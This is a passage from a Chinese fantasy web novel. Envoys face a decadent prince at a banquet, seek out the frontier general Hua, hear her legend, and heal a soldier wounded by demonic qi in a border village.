古青舟面色不变,坦然一笑:“美人歌城虽地处偏远,邻近战场,但城中歌舞升平,竟是叫人意外的富贵繁荣。”
百胜王没听出别的意思,脸上露出些得意,眯着眼坐下。
“至于我族开灵城”古青舟继续道,“作为王都占地广博,建筑成群,庄严肃穆又不失热闹烟火。我族妖帝陛下不喜奢靡,故而开灵城没有太多金玉其外的装饰,便显得略朴素了些。不过胜在远离战火,安稳自在。百姓安居乐业,耕者有其田,织者有其机杼,各司其职。前些时日还有仙界神官莅临,为我王都百姓祈福。”
百胜王听着眼睛眯得更深,脸上却少了几分笑意。
“相比之下,美人歌城美则美矣,只可惜城外便是漫天的战火,实在是破坏了这份雅致。若是能止戈散马,化干戈为玉帛,想必美人歌城定能在百胜王殿下的带领下,更上一层楼。”
前半句眼看百胜王就要变了脸色,后半句却堵得他不好发作。毕竟伸手不打笑脸人,古青舟奉承到这个份上,他也不好太过为难,只好冷笑一声:“化干戈为玉帛?古使君,本王看,是这美人歌城的酒太过香醇,你有些喝醉了吧?”
他举着酒杯摇摇晃晃,遥敬了一杯。
古青舟站着没动。
使团里一位上了年纪的老臣端着一杯酒出来应和了几句,将酒递到古青舟手里。古青舟这才接过酒,也回敬了一杯。
“既然古使君已经吃醉了酒,那怕是无福再欣赏后面的歌舞了,不如早些回去休息吧?”百胜王见他喝了酒,有些满意地挑了挑眉,看似有商有量,实则分明是赶客。
今日接连两个他瞧不上的人驳了他的脸面,他此刻的耐心已经到了极点。
古青舟侧头看了一眼睿安,睿安冲他微微摇了摇头。
古青舟只好扯出个笑来,躬身告退,礼数作全。只是今日这一退,又不知何时才能再有机会与这百胜王面谈了。
主官既走,使团众人也纷纷起身告退。睿安混在里面,把头埋得很低。
“站住。”就在他们转身的那一刻,百胜王忽然又叫住了他们,“古使君身边这位戴面具的公子,气度不凡,似乎是个美人啊。”
古青言脑子“嗡”的一声,恍然想起那个卖花灯的摊贩曾说,百胜王府上有四十多位侧妃侧君,是个男女通吃的好色之徒。
她看了眼台上,百胜王身边搂着的那两位美人,便是一男一女。
古青舟应声又走到了人前,有意无意地挡住睿安:“殿下看错了吧。使团之中自然皆是使臣,哪里有什么美人?”
“既然是使臣,那为何却不敢以真面目示人,遮遮掩掩地戴个面具做什么?”百胜王一级一级地从台上走下来,走到他们近前,“什么样的美人是本王见不得的?”
古青舟欲挡,古青言扯了扯他,悄声道:“不必这般......此地无银三百两。”
古青舟犹疑地看了看她,眼中忧色甚重。
“微臣生来面目狰狞丑陋,来时陛下特意叮嘱,说,百胜王殿下的眼睛是用来欣赏美人的。像微臣这般丑陋的人,面见百胜王殿下时一定要戴上面具,免得污了殿下的眼睛。”睿安说话没什么起伏。
百胜王在这事上却难得长了些脑子:“哪怕是凡人朝廷选拔官员都是有仪容仪表这一关的。植妖族再不济,选出来的官员能丑到哪里去?把面具
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摘了,本王倒是要瞧瞧这般风姿的人能有一张多丑的脸。”
“会吓到殿下的。”睿安全身都绷紧了。
“本王岂是会被你轻易吓到的?”百胜王声音加重了些,不容拒绝地又走近了两步。
古青舟还是挡在了睿安前面。
百胜王因着这一举动隐隐又有要发怒的迹象。
睿安只感觉到有一阵轻柔的风拂过,紧绷的身体瞬间放松下来。一双手揽住他的头,指尖带着凉意,勾住脑后系着面具的绳子,也将他悬着的心勾了下来。
脸上覆着的东西落下,细密的汗珠遇风而去,他却没有多少慌乱。
耳边传来好几声倒吸凉气的声音,离得近的一位宾客本就喝多了酒,见到睿安的脸更是直接将酒菜全吐了出来。
百胜王嫌恶地举起手,一时都不知是该先捂鼻子还是先挡眼睛。最后只好挥了挥袖子,转过身去,说了今日的第一句软化:“快戴上吧,是本王唐突了。”
走到一半,没忍住又回头,目光只落在古青舟一个人身上,生怕余光扫到别处去,都快挤成了对眼:“古使君,下次见本王不必带着这位大人了,叫他多在驿管休息吧,没事不要出来走动。”
古青舟点头应是,余光也忍不住偷偷去瞟睿安,不知道自己的好友什么时候竟成了这副尊容。
睿安弯腰去拾落在地上的面具,动作掩住了嘴角忍不住带起的笑。
古青舟终于带着使团离开了良玉台。
百胜王坐在高台上,大手一挥,指了指身边的侍从:“你去,把钦天监驻美人歌城的那个谁给我关到天牢里去。看看他选的这是什么日子,叫本王在今日设宴,真是什么晦气事也遇到了。”
“去,多叫些歌舞上来,本王要去去晦气。”
鼓声乐声又响了起来,一队队的舞姬乐师往台上去,与古青言等人擦肩而过。
睿安回头望了一眼,笙歌鼎沸,醉生梦死。
“还真是……战士军前半死生,美人帐下犹歌舞。”他笑了一声,眼底却是一片冷意。
“什么?”古青言听到他低声的呢喃,问。
睿安低头看她,眸色深深:“你可知,这座城从前的名字并不是美人歌城。”
“而是,死生城。”
此城之外,生死一线,再无归期。
“这本是边关百姓和将士自发取的名字。百胜王自请到边关领兵后,却很少待在前线,而是更多地躲在这座城中。他嫌弃‘死生城’这个名字太晦气,便改为了美人歌城。”
“战场之上,美人歌城。”睿安笑着,“多好笑啊。”
古青言鬼使神差地握住了他的手,指尖一点,原本俊美无双的面容显现出来。
她看着他的眼睛:“我无法改掉这个名字。但我会竭尽全力,让这里不再是战场,不再有生离与死别。”
若世界和平安定,那美人与歌,又何尝不是一道最美的风景?
45. 战士军前半死生(一)
百胜王这边显然是说不通了,睿安当机立断,决定第二日便出城去,直接与那位花将军商谈。古青舟虽然有所顾虑,但显然对睿安十分信任,最终还是同意了。
使团离城太过声势浩大,古青舟便安排了一番,让使团众人继续留在城中,自己混进商队,随古青言等人一同出城。
从美人歌城的北门出去,果然一出城便看到黑压压的一片营帐在远处驻扎着,有一队队提着枪的士兵来回巡逻着,不止对着一线之隔的动妖族那边,也对着美人歌城。
谁家巡防会对着自家城池?
甄青竹耐不住好奇就上前搭话,那巡防的士兵却十分冷酷,目不斜视,任凭甄青竹如何死缠烂打,一句话也不答。
最后或许实在是有些烦了,那领头的校尉顺着甄青竹的方向看过来。
他们一行人浩浩荡荡,看着十分面生,还拉着一车又一车被布盖着的不明物……校尉眉头一皱,提着枪的士兵便立刻围了上来。
“你们是什么人?”那校尉脸上带着一道还未完全愈合的刀疤,面无表情问话的时候颇有几分凶戾。
古青舟从人群中走出来,拿出自己的文书:“我们是物妖族妖帝陛下派来的使者,特来求见花将军。”
那校尉的视线如鹰般锐利,在几人身上一一扫过,并不去接那份文书:“我还从未见过哪个使团是你们这般模样的。再说了,接见使团那是百胜王的事情。”
校尉说到这顿了顿,目光如炬:“难道你们是百胜王派来的?”
话音刚落,周围一圈士兵的长枪便举了起来。那架势,简直比见到动妖族的大军还要如临大敌。
“并非如此。我们真的是物妖族的使者,这文书上便是我族陛下的亲笔印信......”古青舟忙着解释,试图将校尉的目光吸引到自己手上。
校尉看也不看:“我不识字。”
古青舟:……
“大哥大哥!”甄青竹不知何时钻到了后方去,此刻风风火火地跑过来,手里拎着一个麻袋,“大哥,您瞧瞧。我族念你们百姓深受战乱离苦,想必是吃不饱穿不暖,诸位大哥浴血奋战多日,也定是缺医少药,这才命我们带着这些物资来驰援。我们这般好心,大哥你若是将我们拒之门外,这好心可就要变成那冰冻三尺的寒心了……”
校尉方才已经见识过甄青竹嘴皮子磨人的功夫,一见到她便有些头疼地闭了闭眼。
甄青竹才不管这个,手上已经不知道从哪里摸出来一盒药膏:“大哥你瞧瞧你这脸上,真是叫人心疼。”说着便伸手要往校尉脸上涂。
校尉身手敏捷地往后避了避,手中的长枪握了又握,最终还是没有刺出去。
“大哥好身手!”甄青竹赞道。
校尉:......
倒是旁边的士兵没有甄青竹的骚扰,得空好好瞧了瞧她手里的袋子:“大人您瞧,天仙子、血风藤......还有人参和灵芝!”
校尉神色终于是有了些变化,倾身一看。
旁边的小兵眼睛都红了,简直想把袋子抢过去:“若是有了这些东西,伤兵营的弟兄们说不定就能活下来了!”
其他的士兵也没忍住上前两步,眼睛都盯着那袋子。
校尉不愧是校尉,相比之下沉着许多,抬眼看了看自己的兵。
众士兵立刻回到原位,目不斜视,冷酷无情。连红了眼的小兵都红着眼站直了。
校尉没有太多留恋,把袋子还给甄青竹,长枪往地上一敦,严肃庄重地接过了古青舟手里的文书,翻开浏览。
一息,两息……只坚持了两息。校尉掀起眼皮,这回锐利的目光落在了自己的兵身上:“你们有谁识字?”
士兵目不斜视。
“认得物妖族的印信也成。”他又说。
士兵余光悄悄看了他一眼,继续目不斜视。
校尉腮帮子鼓了鼓,牙都要咬碎了。最终还红着眼的小兵被幸运选中,校尉一脚揣上他的屁股:“还不去找个识字的来?”
小兵拿着文书跑了,好一会都没有回来。
甄青竹等的无聊,又开始试图跟校尉聊天:“大哥你入伍几年啦?”
“你是怎么当上校尉的?想必立了很多战功吧?”
“战场上是不是很危险?”
“大哥你想家吗?”
校尉还在忍,古青言忍无可忍,正要去把甄青竹揪回来。
“大哥你认识花将军吗?你觉得的你和她谁更厉害?”
古青言顿了顿,决定再忍一会。
校尉却忍不住了:“花将军是为战场而开的花神,我怎么配与她相提并论?”
“哦?”终于得到回应的甄青竹继续问,“美人歌城的人都说花将军是‘天降战神’,你怎么不这样称呼她?”
听到美人歌城,校尉明显不大高兴。但看在那一袋子药材的面子上,他还是耐着性子继续说:“因为我知道将军并非是什么‘天降’,她是花将军亲手培育的花,生来便是为了这片战场,为了这片战场上壮烈牺牲的英魂复仇而来。”
“花将军是花将军亲手培育的花?”甄青竹绕住了。
古青言想起睿安说过,在这位女战神之前,山河营也曾有过一位姓花的将军。
“边境战场上流传着这样一个传说......”校尉脸上难得有了一些铁汉柔情。
边境有一个小村落,里面栽着一棵木棉树。起初没人知道那是一棵木棉树,因为她从不开花。
只有村中的一位少年将军,时时浇水,常常照料。每每策马归来,都会在这棵他年少时便亲手栽种的树下饮酒,用他心爱的长剑为树松土,满心欢喜地期盼花的盛放。
直到一个冬夜,边境迎来了冬天的第一场初雪。漫天的风雪覆盖了整个战场,天地间皆是素色,每一颗草,每一朵花都裹上了银装。但没人欣赏这样美的雪景,也没有农人为这场初雪欢呼。
因为虎族的英王亲临战场,携十万大军攻上雪岭关,围城数日。山河营的花将军,带着三千亲兵出
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城奔袭,只为求一线生机。
没人看得到漫天的大雪里发生了什么,只知道一地的白色里,不断地开出血红的赤色。
那一晚,木棉花一夜盛放,在空无一人的村落里,开了近三千朵鲜艳的花。唯有一朵,含苞待放。
夜色下,有瘸腿的青年从远方归来,提着一把断剑。没有策马,他的马已经永远留在了战场上,随着他的战友们一起。
他一瘸一拐地来到木棉树下,已经脏污的白色披风遮住了他的面容,在毫无光亮的夜色下看不真切。他看着满树的花,似乎笑了。
他问木棉树:“第三千朵花为什么不开呢?”
木棉树说:“所有花开放的那一刻,是她最美的样子,她要留给种下她的少年将军。最美的花,要配给最意气的英雄。”
瘸腿的青年有些遗憾:“不能现在就开给我看吗?”
木棉树晃了晃树枝,算是摇了摇头。
青年坐在树下,解下了腰间的酒囊。酒已经不多了,他一口一口地饮着酒,一朵一朵地看着花。
木棉树有些不忍:“如果天亮的时候,我的将军还没有回来,我就先将这一期花放给你看。”
青年看了看天色,摇了摇头。他站起来,吃力地将断剑插在树下,对木棉树说:“我要走了。”
“你要去哪里?”木棉树问。
“去跟我的战友相聚。”青年回答。
他又一瘸一拐地走了,彻底消失在风雪里。只留下一把断剑,证明他来过的痕迹。
第三千朵木棉花终于开了。
直到天光大亮,木棉树才看清脚下的那把断剑。时常为她松土的剑尖,已经折断在远方。
木棉树下化出明艳的姑娘,一袭红衣,倾城绝色。她扯下漂亮的簪花,扎起高高的马尾。素白的披风覆上红衣,一手断剑,一手美酒,杀出了雪岭关外。
又一夜,虎族英王的头颅被高高挂起,在雪岭关的城墙上,凝望着每一个带来血色的人。
“那位花将军叫什么名字?”古青言问,“我是说,先前那位。”
“花无战。”校尉答。
原来,从始至终只有一个山河营,也只有一个花将军。
“我们将军姓花,根本不是什么御赐皇姓。”校尉脸上先是不屑,再是敬仰,“那是花无战将军的‘花’。”
“不,是‘花木兰’的‘花’。”一道声音从营地里走出来。这人他们认识——正是大闹良玉台,让百胜王颜面扫地的叶副将。
她将文书扔进古青舟怀里,看向他们:“我记得你们。在良玉台上,我跟姓百的狗东西打架的时候,其他人都站起来想跑,只有你们还坐着。”
“挺显眼的。”她评价道。
“既然如此,副将应该知道,我们确实是物妖族的使者。”古青舟道。
“那又如何?”叶副将挑眉,“我家将军说了,无论你们是不是物妖族的使者,她都没兴趣见你们。”
“话带到,诸位自便。”
46. 战士军前半死生(二)
叶副将十分干脆利落地走了。校尉得到了命令,也将他们撇在原地不管。
“怎么办?”古青舟问。
睿安思索片刻,道:“方才听那校尉讲述,若是传闻为真,那花将军必然对动妖族心存恨意。知道我们是为劝和而来,她一时不肯相见也是情理之中。”
“花将军虽不见我们,却也未赶我们走,那事情想必就还有转圜的余地。我们不如先找一个落脚的地方,再从长计议。”
左右别无他法,也只好走一步看一步了。
“你们瞧,那边像是有村落的样子。”甄青竹指着一个方向。
果然,有几缕炊烟从那里徐徐升起,在狼烟环绕的边境战场上格外宁静。
一路过去,发现那处俨然被层层叠叠的营帐包围着。若是敌军打来,除非将这些军营全部歼灭,否则是不可能抵达那里的。
一般只有主帅营帐或是军机要处才会有这般待遇,但着一路走来,并未见任何看守。路上遇到的军士,也最多是打量他们几眼,并未有太多干涉。
甄青竹看得不错,那里的确是有村落,而且不止一个,邻近处还有数个规模差不多的小村落。
“应当是守边村。”睿安道。
众人都看向他。
“我们在溟白山上见到的那个也叫守边村。”甄青竹想起来了,有些害怕地往古青言身边缩了缩,“不会也是个鬼村吧。”
“怎么会?”睿安立即否认,“植妖族与动妖族的边境线上有许多个这样的守边村。这里的百姓常年被战事所扰,为了自保,便自发组织起来。村中无论男女老少,个个都练成了可以独当一面的民兵。”
“从前每每有战事,最先奋起的便是这些守边村的村民。后来雪岭关建立起来,此地也有了驻军长期驻守,便不大需要百姓们时时警备了。但这里的村民仍然保留着这样的习惯,许多训练的不错的民兵营也都被编入了驻军。如今战事正是吃紧的时候,这村子里面想必只剩下一些老弱了吧。”
“我们在溟白山上见到的守边村,说不定从前便是这里的一员。只是已经全部都牺牲了。”他猜测道。
说话间,一行人已经进了村。果然如睿安所说,村里几乎看不到什么青壮年的身影。只是村中人人步履匆匆,连四五岁的稚童都端着个小盆子或是小水壶跑来跑去,远不如远远看去那般和谐安宁。
村口的地上有点点血迹,有的已经斑驳,有的却还很新鲜。
“余大夫呢?快去找余大夫来!”一间屋子里传来惊慌的叫喊,紧接着有许多人进进出出,有小孩子没忍住哭了两声,被大人捂着嘴抱出来。也顾不得安抚,只丢在一边便又忙着进去了。
好在那孩子十分懂事,只抽泣了几下便不哭了,又端起小盆子跑了起来。
正好跑过几人眼前,甄青竹伸手一捞,把孩子拉了过来:“小朋友,那里面怎么了?”
小孩一双还没擦干泪的眼睛盯着她的脸,瞧了一会往后缩了缩,怀里紧紧抱着自己的小盆子:“娘亲说不能跟陌生人说话。”
古青言看清那盆里是血水。她想了想,转身去后面的车上拿了东西,径直往那间屋子里去了。
“辞晚,你也来。”她说。
屋里只有一个小炕,一个炉子,再没旁的设施。就这么一个小屋子,此时却挤满了人。
旁边的人虽然都神色不好,但都不打紧。唯有炕上躺着的那个,衣衫大敞,胸口处有一个拳头大的血洞,几乎将整个人都穿透了。体内脏器隐约可见,洞口的血肉还在不断翻滚着。
古青言又看到了已经不算陌生的魔气,在狰狞的伤口涌动着,试图侵入五脏六腑,四肢百骸。
学医多日,张辞晚已然有了一些职业病,看到伤者便闲不住了。她扒开炕边的人:“我是大夫,让我看看。”
被她扒开的人没想到会有人闯进来,愣了愣:“你是什么人?”
张辞晚顾不上回答,已经从空间法器里取出一套银针,在伤者身上扎下几个穴位。
古青言怕引起误会,只好解释:“我们是物妖族人。这位施针的姑娘师从大椿族族老,不会胡来的,你们可以放心。”
也不知是哪个身份起了作用,想要拦着张辞晚的人终究是退下了。
张辞晚虽然已经修习了不少医术,但其实没怎么进行过实际操作,此时额上已经紧张地起了一层细汗。但秉持着医者的基本素养,她的手还是稳的。
最后一根针落了下去,古青言问:“怎么样?”
“这伤我能治,但是魔气……”张辞晚欲言又止。也在意料之中,魔气这东西向来是最棘手的。
“魔气?什么是魔气?”旁边的人从未听过这东西,纷纷窃窃私语起来。
古青言无奈叹了口气,摊开手掌,是一瓣养神芝。
嚣张的魔气在接触金光的一瞬间便开始激烈的斗争,伤者脸上痛苦之色更甚,喉咙里发出痛苦的呼叫。
旁边有人不放心地想要上前,但未及近处,便看到浓浓的黑气在金光的纠缠下不断退缩,正一缕一缕地被从伤口驱逐出来。
被逐出的魔气脱离伤者的身体,盘旋几圈,似乎不甘地想要寻找新的去处。
古青言心中忽然升起一个念头,不待多想,她便已经伸出手。
银色的神力包裹着手掌,以迅雷不及掩耳之势抓住了一缕魔气。那魔气反应更快,在被抓住的一刹那便向神力发起了攻击,试图突破它的保护,刺进古青言的身体。
古青言强行握着它,手掌青筋暴起。另一只手飞快动作,穹银袋袋口被打开一条缝隙。她用尽所有力气将手中的魔气封了进去,并以最快的速度合上袋口。一滴冷汗从脸颊滑落,垂下的手不住打颤。
“快看!大藤醒了!”有人指着炕上惊呼。一屋子的人又一窝蜂地围了上去。
没人注意到,古青言踉跄着出了屋子。她扶着门框,一口鲜血从口中喷出。
“青言!”本就站在屋外的睿安第一时间上前环住了她,“这是怎么了?”
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青言喘了口气,眼睛看向腰间的钱袋。时鼓时瘪,似有什么东西在其中翻涌。
穹银袋是她的本命法器,本命法器的内部遭到冲击,她的五脏六腑也犹如被烈火焚烧了一般。
是她大意了,想不到这魔气竟然如斯厉害,连仙界的神器都得忌惮三分。
好在她还算谨慎,只取了一小缕,穹银袋不过片刻便将它彻底压制,终于没了动静。
“这是怎么了?”一个挽着碎花头巾的中年妇人拎着箱子走来,看到门口嘴角还挂着血的古青言关切的询问了一句。但她神色匆忙,大概看了扫了一眼后道:“轻伤,我现在顾不得你。”
她指着睿安:“你这相公怎么当的,还不知道找个干净的屋子让媳妇儿坐一会。”
撂下一句惊天之雷,妇人闪身进了屋子。
留下古青言跟睿安相觑一眼,又迅速双双移开了视线。
屋内隐约传来七嘴八舌的问候:“余大夫你可终于来了。大藤方才眼瞧着就要不行了,这位姑娘突然进来,三两下的,好像给治好了。”
“您再瞧瞧,可还有什么问题?”是张辞晚的声音。
里面又是一阵忙乱。但没用太久,碎花头巾的中年妇人和张辞晚相携而出,身后跟着刚才屋里的一串人。
“大家都各忙各的去吧,老刘家的两个留下继续照顾大藤就行。”妇人似乎颇有声望,挥挥手便叫众人散去了。
眼看妇人就要再看过来,古青言赶紧擦了擦嘴角的血迹,从睿安怀里站直了身子。
“姑娘你没事吧?”那妇人还是问。
古青言微笑着摇了摇头,表示自己很好。
“阿言,这位是余大夫。”张辞晚介绍道,“她听说我们远道而来,还没找到住处,便主动说要帮忙呢。”
“那边有几间空屋子,虽然不大,但你们挤挤,应该也是住得下的。”余大夫笑道,“还要多谢你们帮我救了人。”
古青言把满村子找住所的甄青竹等人叫了回来,一行人跟着余大夫走。
张辞晚自离开春枝镇后难得再见到一位懂医术的,与余大夫相谈甚欢:“余婶婶,这守边村里住的究竟是寻常百姓,还是伤兵营啊?”
“守边村里人人都是战士,哪里来的寻常百姓。”余大夫道,“如今战事吃紧,村子里的青壮年都参战去了,只剩下我们这些老弱病残。但我们被将士们精心保护着,总不能什么也不做啊。于是我们便收留一些受了重伤,需要长期休养的伤兵在家里照顾。正巧我也懂一些医术,我们村的伤兵便格外多一些。”
“就是这里了。”余大夫指着前面的一排屋子,“你们别看没人住,但里面都干净着呢。就是地方偏了点,在村子的最外围。”
“最外围?”张辞晚看看四周,指着旁边的几排房子,“那里不是守边村了吗?”
甄青竹也看过去,探头望了望:“这几排屋子后面好像还有不少呢?看着也没人住。”
余大夫愣住了,脸上的笑一下子消失的无影无踪。